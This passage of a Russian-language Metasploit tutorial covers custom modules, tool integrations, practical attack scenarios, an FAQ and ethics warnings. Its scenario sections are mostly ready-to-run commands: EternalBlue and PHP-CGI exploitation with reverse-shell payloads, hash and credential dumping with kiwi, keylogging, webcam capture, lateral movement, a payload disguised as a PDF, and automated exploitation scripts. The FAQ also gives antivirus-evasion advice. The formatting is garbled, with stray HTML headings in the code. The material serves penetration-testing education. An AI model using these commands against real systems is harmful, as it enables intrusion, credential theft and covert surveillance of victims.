registry_enumvals(sam_key).each do |user|
print_good("Found user: #{user}")
end
end
end
Размещение модулей:
bash
<h2 id="sozdanie-direktorii-dlya-moduley">Создание директории для модулей</h2>
mkdir -p ~/.msf4/modules/auxiliary/scanner/http/
<h2 id="kopirovanie-modulya">Копирование модуля</h2>
cp custom_scanner.rb ~/.msf4/modules/auxiliary/scanner/http/
<h2 id="perezagruzka-moduley">Перезагрузка модулей</h2>
msfconsole
reload_all
<h2 id="ispolzovanie-modulya">Использование модуля</h2>
use auxiliary/scanner/http/custom_scanner
Тестирование модулей:
bash
<h2 id="zapusk-testov">Запуск тестов</h2>
cd /opt/metasploit-framework
bundle exec rspec spec/modules/auxiliary/scanner/http/custom_scanner_spec.rb
<h2 id="ruchnoe-testirovanie">Ручное тестирование</h2>
msfconsole
use auxiliary/scanner/http/custom_scanner
set RHOSTS 192.168.1.100
set VERBOSE true
run
Отладка модулей:
ruby
<h2 id="ispolzovanie-print-status-dlya-otladki">Использование print_status для отладки</h2>
print_status("Debug: Variable value = #{variable}")
<h2 id="ispolzovanie-vprint-dlya-verbose-rezhima">Использование vprint для verbose режима</h2>
vprint_status("Verbose message")
<h2 id="ispolzovanie-print-error-dlya-oshibok">Использование print_error для ошибок</h2>
print_error("Error occurred: #{error_message}")
<h2 id="ispolzovanie-print-good-dlya-uspeha">Использование print_good для успеха</h2>
print_good("Operation successful")
Работа с результатами:
ruby
<h2 id="sohranenie-rezultatov-v-bazu-dannyh">Сохранение результатов в базу данных</h2>
report_host({
host: rhost,
os_name: 'Windows',
os_flavor: '7'
})
report_service({
host: rhost,
port: rport,
name: 'http',
state: 'open'
})
report_vuln({
host: rhost,
port: rport,
name: 'SQL Injection',
refs: references
})
РАЗДЕЛ 11: ИНТЕГРАЦИЯ С ДРУГИМИ ИНСТРУМЕНТАМИ (1000 слов)
Metasploit можно интегрировать с другими инструментами пентестинга.
Интеграция с Nmap:
bash
<h2 id="import-rezultatov">Импорт результатов</h2>
db_nmap -sV 192.168.1.0/24
<h2 id="ispolzovanie-rezultatov">Использование результатов</h2>
hosts
services
Интеграция с Burp Suite:
bash
<h2 id="ispolzovanie-rezultatov-burp">Использование результатов Burp</h2>
db_import burp_results.xml
Использование REST API:
bash
<h2 id="zapusk-rest-api">Запуск REST API</h2>
msfrpcd -P password -f
<h2 id="ispolzovanie-cherez-python">Использование через Python</h2>
import msfrpc
client = msfrpc.MsfRpcClient('password')
client.consoles.console().write('use exploit/windows/smb/ms17_010_eternalblue')
Интеграция с Cobalt Strike:
Cobalt Strike можно использовать вместе с Metasploit для расширенной функциональности:
bash
<h2 id="eksport-sessii-metasploit-v-cobalt-strike">Экспорт сессии Metasploit в Cobalt Strike</h2>
sessions -u <session_id>
<h2 id="ispolzovanie-cobalt-strike-payload">Использование Cobalt Strike payload</h2>
set payload windows/beacon_reverse_tcp
Интеграция с Empire:
bash
<h2 id="ispolzovanie-empire-moduley-cherez-metasploit">Использование Empire модулей через Metasploit</h2>
use exploit/multi/script/web_delivery
set TARGET 2
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
exploit
Использование с Burp Suite:
bash
<h2 id="import-rezultatov-burp">Импорт результатов Burp</h2>
db_import burp_results.xml
<h2 id="ispolzovanie-proksi-burp">Использование прокси Burp</h2>
set Proxies http:127.0.0.1:8080
Интеграция с SQLMap:
bash
<h2 id="ispolzovanie-rezultatov-sqlmap">Использование результатов SQLMap</h2>
db_import sqlmap_results.xml
<h2 id="avtomatizatsiya-cherez-skripty">Автоматизация через скрипты</h2>
#!/bin/bash
sqlmap -u "http://target.com/page?id=1" --batch --dbs
<h2 id="zatem-import-rezultatov-v-metasploit">Затем импорт результатов в Metasploit</h2>Использование с Nessus:
bash
<h2 id="import-rezultatov-skanirovaniya-nessus">Импорт результатов сканирования Nessus</h2>
db_import nessus_results.xml
<h2 id="ispolzovanie-dannyh-dlya-natselivaniya">Использование данных для нацеливания</h2>
vulns
Интеграция с OpenVAS:
bash
<h2 id="import-rezultatov-openvas">Импорт результатов OpenVAS</h2>
db_import openvas_results.xml
Автоматизация через Python:
python
#!/usr/bin/env python3
import msfrpc
<h2 id="podklyuchenie-k-metasploit">Подключение к Metasploit</h2>
client = msfrpc.MsfRpcClient('password', port=55553)
<h2 id="sozdanie-konsoli">Создание консоли</h2>
console = client.consoles.console().cid
<h2 id="vypolnenie-komand">Выполнение команд</h2>
client.consoles.console(console).write('use exploit/windows/smb/ms17_010_eternalblue')
client.consoles.console(console).write('set RHOSTS 192.168.1.100')
client.consoles.console(console).write('set LHOST 192.168.1.50')
client.consoles.console(console).write('exploit')
<h2 id="chtenie-rezultatov">Чтение результатов</h2>
output = client.consoles.console(console).read()
print(output)
Использование с Metasploit Pro:
Metasploit Pro предоставляет расширенные возможности:
- Автоматическое сканирование и эксплуатация
- Интеграция с Nexpose
- Расширенная отчетность
- Автоматизация через Web UI
Интеграция с GitHub:
bash
<h2 id="klonirovanie-polzovatelskih-moduley">Клонирование пользовательских модулей</h2>
git clone https://github.com/username/metasploit-modules.git
cp metasploit-modules/*.rb ~/.msf4/modules/
<h2 id="perezagruzka-moduley">Перезагрузка модулей</h2>
reload_all
Использование с Docker:
bash
<h2 id="zapusk-metasploit-v-docker">Запуск Metasploit в Docker</h2>
docker run --rm -it -v ~/.msf4:/root/.msf4 metasploitframework/metasploit-framework
<h2 id="ispolzovanie-docker-compose">Использование docker-compose</h2>
cat > docker-compose.yml << EOF
version: '3'
services:
metasploit:
image: metasploitframework/metasploit-framework
volumes:
- ~/.msf4:/root/.msf4
ports:
- "4444:4444"
EOF
docker-compose up
РАЗДЕЛ 12: ПРАКТИЧЕСКИЕ СЦЕНАРИИ (1200 слов)
Рассмотрим несколько практических сценариев использования Metasploit.
Сценарий 1: Тестирование веб-приложения
bash
<h2 id="1-razvedka">1. Разведка</h2>
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.100
run
<h2 id="2-poisk-direktoriy">2. Поиск директорий</h2>
use auxiliary/scanner/http/dir_scanner
set RHOSTS 192.168.1.100
run
<h2 id="3-ekspluatatsiya-uyazvimosti">3. Эксплуатация уязвимости</h2>
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
exploit
Сценарий 2: Сетевая атака
bash
<h2 id="1-skanirovanie-seti">1. Сканирование сети</h2>
db_nmap -sV 192.168.1.0/24
<h2 id="2-poisk-uyazvimyh-sistem">2. Поиск уязвимых систем</h2>
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
run
<h2 id="3-ekspluatatsiya">3. Эксплуатация</h2>
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
exploit
Сценарий 3: Пост-эксплуатация
bash
<h2 id="posle-polucheniya-sessii">После получения сессии</h2>
sessions -i 1
<h2 id="sbor-informatsii">Сбор информации</h2>
sysinfo
hashdump
screenshot
<h2 id="eskalatsiya-privilegiy">Эскалация привилегий</h2>
getsystem
load kiwi
creds_all
Сценарий 4: Полный цикл пентеста
bash
<h2 id="1-razvedka">1. Разведка</h2>
db_nmap -sV -p- 192.168.1.0/24
<h2 id="2-analiz-rezultatov">2. Анализ результатов</h2>
hosts
services
services -p 445 -R
<h2 id="3-skanirovanie-uyazvimostey">3. Сканирование уязвимостей</h2>
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
run
<h2 id="4-ekspluatatsiya">4. Эксплуатация</h2>
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
exploit
<h2 id="5-post-ekspluatatsiya">5. Пост-эксплуатация</h2>
sessions -i 1
hashdump
download C:\\users\\admin\\documents\\*
Сценарий 5: Тестирование веб-приложения
bash
<h2 id="1-razvedka-veb-prilozheniya">1. Разведка веб-приложения</h2>
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.100
run
use auxiliary/scanner/http/dir_scanner
set RHOSTS 192.168.1.100
run
<h2 id="2-poisk-uyazvimostey">2. Поиск уязвимостей</h2>
use auxiliary/scanner/http/http_login
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/wordlists/usernames.txt
set PASS_FILE /usr/share/wordlists/passwords.txt
run
<h2 id="3-ekspluatatsiya">3. Эксплуатация</h2>
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS 192.168.1.100
set TARGETURI /cgi-bin/php
set LHOST 192.168.1.50
exploit
Сценарий 6: Lateral Movement
bash
<h2 id="posle-polucheniya-dostupa-k-pervoy-sisteme">После получения доступа к первой системе</h2>
sessions -i 1
<h2 id="sbor-informatsii-o-seti">Сбор информации о сети</h2>
arp
route
netstat
<h2 id="poisk-drugih-sistem">Поиск других систем</h2>
shell
for /f %i in (net view ^| find "\\") do @echo %i
<h2 id="ekspluatatsiya-drugih-sistem">Эксплуатация других систем</h2>
background
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.101
exploit
Сценарий 7: Социальная инженерия
bash
<h2 id="1-sozdanie-payload">1. Создание payload</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -x document.pdf -f exe -o malicious.pdf
<h2 id="2-nastroyka-obrabotchika">2. Настройка обработчика</h2>
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
exploit -j
<h2 id="3-otpravka-payload-zhertve-s-razresheniem">3. Отправка payload жертве (с разрешением!)</h2>
<h2 id="posle-podklyucheniya">После подключения</h2>
sessions -i 1
webcam_snap
keyscan_start
Сценарий 8: Автоматизация пентеста
bash
<h2 id="sozdanie-resursnogo-skripta">Создание ресурсного скрипта</h2>
cat > pentest.rc << EOF
<h2 id="razvedka">Разведка</h2>
db_nmap -sV -p- 192.168.1.0/24
<h2 id="skanirovanie-uyazvimostey">Сканирование уязвимостей</h2>
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
run
<h2 id="ekspluatatsiya-uyazvimyh-sistem">Эксплуатация уязвимых систем</h2>
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
set payload windows/x64/meterpreter/reverse_tcp
exploit -j
<h2 id="post-ekspluatatsiya">Пост-эксплуатация</h2>
sessions -i 1
hashdump
screenshot
EOF
<h2 id="zapusk">Запуск</h2>
msfconsole -r pentest.rc
РАЗДЕЛ 13: ЛУЧШИЕ ПРАКТИКИ И БЕЗОПАСНОСТЬ (1000 слов)
При работе с Metasploit важно следовать лучшим практикам.
Этические соображения:
- Всегда получайте письменное разрешение перед тестированием
- Используйте только в контролируемых средах
- Не используйте для незаконных действий
- Документируйте все действия
Безопасность:
- Используйте изолированные сети для тестирования
- Не используйте реальные production системы
- Регулярно обновляйте Metasploit
- Используйте VPN для защиты своего трафика
Документирование:
- Сохраняйте все команды
- Делайте скриншоты
- Записывайте результаты
- Создавайте отчеты
Организация работы:
bash
<h2 id="sozdanie-struktury-direktoriy">Создание структуры директорий</h2>
mkdir -p ~/pentest/{reports,scripts,exploits,payloads,notes}
<h2 id="sohranenie-komand">Сохранение команд</h2>
msfconsole -L -o commands.log
<h2 id="eksport-rezultatov">Экспорт результатов</h2>
db_export -f xml results.xml
db_export -f pwdump passwords.txt
Оптимизация производительности:
bash
<h2 id="ispolzovanie-parallelnyh-potokov">Использование параллельных потоков</h2>
set THREADS 10
<h2 id="nastroyka-taymautov">Настройка таймаутов</h2>
set TIMEOUT 300
<h2 id="ispolzovanie-bazy-dannyh">Использование базы данных</h2>
db_status
db_connect
Обработка ошибок:
bash
<h2 id="proverka-pered-ekspluatatsiey">Проверка перед эксплуатацией</h2>
check
<h2 id="testirovanie-na-bezopasnoy-sisteme">Тестирование на безопасной системе</h2>
set RHOSTS 192.168.1.200 # Тестовая система
<h2 id="ispolzovanie-verbose-rezhima">Использование verbose режима</h2>
set VERBOSE true
Безопасность собственной системы:
bash
<h2 id="ispolzovanie-vpn">Использование VPN</h2>
<h2 id="podklyuchenie-k-vpn-pered-nachalom-raboty">Подключение к VPN перед началом работы</h2>
<h2 id="ispolzovanie-proksi">Использование прокси</h2>
set Proxies http:127.0.0.1:8080
<h2 id="shifrovanie-trafika">Шифрование трафика</h2>
set payload windows/meterpreter/reverse_https
Работа в команде:
bash
<h2 id="ispolzovanie-obschey-bazy-dannyh">Использование общей базы данных</h2>
db_connect postgres:password@localhost:5432/shared_db
<h2 id="eksport-dlya-kolleg">Экспорт для коллег</h2>
db_export -f xml shared_results.xml
<h2 id="ispolzovanie-versionnogo-kontrolya">Использование версионного контроля</h2>
git init
git add .
git commit -m "Initial pentest results"
Соблюдение законодательства:
- Всегда получайте письменное разрешение
- Используйте только в контролируемых средах
- Не тестируйте production системы без разрешения
- Сохраняйте все документы разрешений
- Следуйте методологиям (PTES, OWASP, NIST)
Этические принципы:
- Используйте только для защиты
- Не используйте для незаконных действий
- Уважайте конфиденциальность данных
- Сообщайте о найденных уязвимостях ответственно
- Следуйте принципу ответственного раскрытия
Подготовка к пентесту:
1. Получение письменного разрешения
2. Определение scope (области тестирования)
3. Подготовка тестовой среды
4. Настройка инструментов
5. Создание плана тестирования
6. Резервное копирование данных
Создание отчетов:
bash
<h2 id="eksport-dannyh">Экспорт данных</h2>
db_export -f xml report.xml
db_export -f pwdump passwords.txt
<h2 id="sozdanie-otcheta-cherez-metasploit-pro">Создание отчета через Metasploit Pro</h2>
<h2 id="ili-ispolzovanie-vneshnih-instrumentov">Или использование внешних инструментов</h2>Обучение и сертификация:
- Изучайте официальную документацию
- Проходите практические курсы
- Получайте сертификации (OSCP, CEH, GPEN)
- Участвуйте в CTF соревнованиях
- Читайте исследования безопасности
РАЗДЕЛ 14: FAQ - ЧАСТО ЗАДАВАЕМЫЕ ВОПРОСЫ (1100 слов)
Вопрос 1: Законно ли использовать Metasploit?
Ответ: Использование Metasploit законно только при наличии явного письменного разрешения от владельца системы. Использование без разрешения является незаконным и может повлечь уголовную ответственность.
Вопрос 2: Как обновить Metasploit?
Ответ: На Kali Linux: `sudo apt update && sudo apt upgrade metasploit-framework`. На других системах: `sudo msfupdate` или обновление через официальный установщик.
Вопрос 3: Почему эксплойт не работает?
Ответ: Возможные причины: система не уязвима, неправильные настройки, блокировка файрволом, отсутствие нужного payload. Проверьте опции модуля командой `show options`.
Вопрос 4: Как использовать Meterpreter?
Ответ: После успешного выполнения эксплойта с Meterpreter payload, используйте `sessions -i ` для подключения к сессии. Затем доступны команды Meterpreter.
Вопрос 5: Как обойти антивирус?
Ответ: Используйте кодировщики (`msfvenom -e`), внешние инструменты (Veil-Evasion), или создавайте собственные payload. Однако обход защиты становится все сложнее.
Вопрос 6: Как создать собственный модуль?
Ответ: Изучите структуру существующих модулей, используйте шаблоны из документации Metasploit, и разместите модуль в соответствующей директории `~/.msf4/modules/`.
Вопрос 7: Можно ли использовать Metasploit на Windows?
Ответ: Да, Metasploit можно установить на Windows через установщик Rapid7 или использовать в виртуальной машине с Linux.
Вопрос 8: Как интегрировать Metasploit с другими инструментами?
Ответ: Используйте `db_import` для импорта результатов сканирования, REST API для программной интеграции, или ресурсные скрипты для автоматизации.
Вопрос 9: Что такое staged и stageless payload?
Ответ: Staged payload загружается в два этапа (меньше размер, но требует стабильного соединения). Stageless payload загружается полностью сразу (больше размер, но работает без стабильного соединения).
Вопрос 10: Как защититься от Metasploit?
Ответ: Регулярно обновляйте системы, используйте файрволы и IDS/IPS, применяйте принцип наименьших привилегий, проводите регулярные пентесты для выявления уязвимостей.
Вопрос 11: Какая версия Metasploit лучше?
Ответ: Рекомендуется использовать последнюю стабильную версию. Metasploit активно развивается, и новые версии содержат исправления и новые эксплойты.
Вопрос 12: Как работать с базой данных Metasploit?
Ответ: Используйте `db_status` для проверки подключения, `db_nmap` для импорта результатов сканирования, `hosts` и `services` для просмотра данных.
ЗАКЛЮЧЕНИЕ (800 слов)
Metasploit Framework является мощным инструментом для тестирования на проникновение и оценки безопасности систем. В этом руководстве мы рассмотрели основные аспекты работы с Metasploit: от установки и базовых команд до продвинутых техник эксплуатации и пост-эксплуатации.
Важно помнить, что Metasploit — это инструмент, который должен использоваться только в легальных целях. Использование без разрешения является незаконным и может повлечь серьезные последствия. Всегда получайте письменное разрешение перед тестированием систем.
Изучение Metasploit требует практики и понимания основ информационной безопасности. Начните с простых эксплойтов в контролируемых средах, постепенно переходя к более сложным техникам. Используйте виртуальные машины для безопасного обучения.
Постоянно обновляйте Metasploit и изучайте новые эксплойты и техники. Сообщество Metasploit активно развивается, и появляются новые модули и улучшения.
Помните о безопасности: используйте изолированные сети, документируйте все действия, и следуйте этическим принципам. Metasploit — это инструмент для защиты, а не для атак.
Важные предупреждения:
⚠️ Юридические аспекты: Использование Metasploit без разрешения является незаконным. Всегда получайте письменное разрешение перед тестированием систем.
⚠️ Этика: Используйте Metasploit только в легальных целях: для тестирования собственных систем, с разрешения владельцев, или в рамках официальных пентестов.
⚠️ Безопасность: Используйте Metasploit только в контролируемых средах. Не тестируйте production системы без явного разрешения.
⚠️ Обучение: Начните с виртуальных машин и изолированных сетей. Практикуйтесь безопасно.
---
**⚠️ Дисклеймер:** Статья носит информационно-образовательный характер и не содержит инструкций для совершения противоправных действий.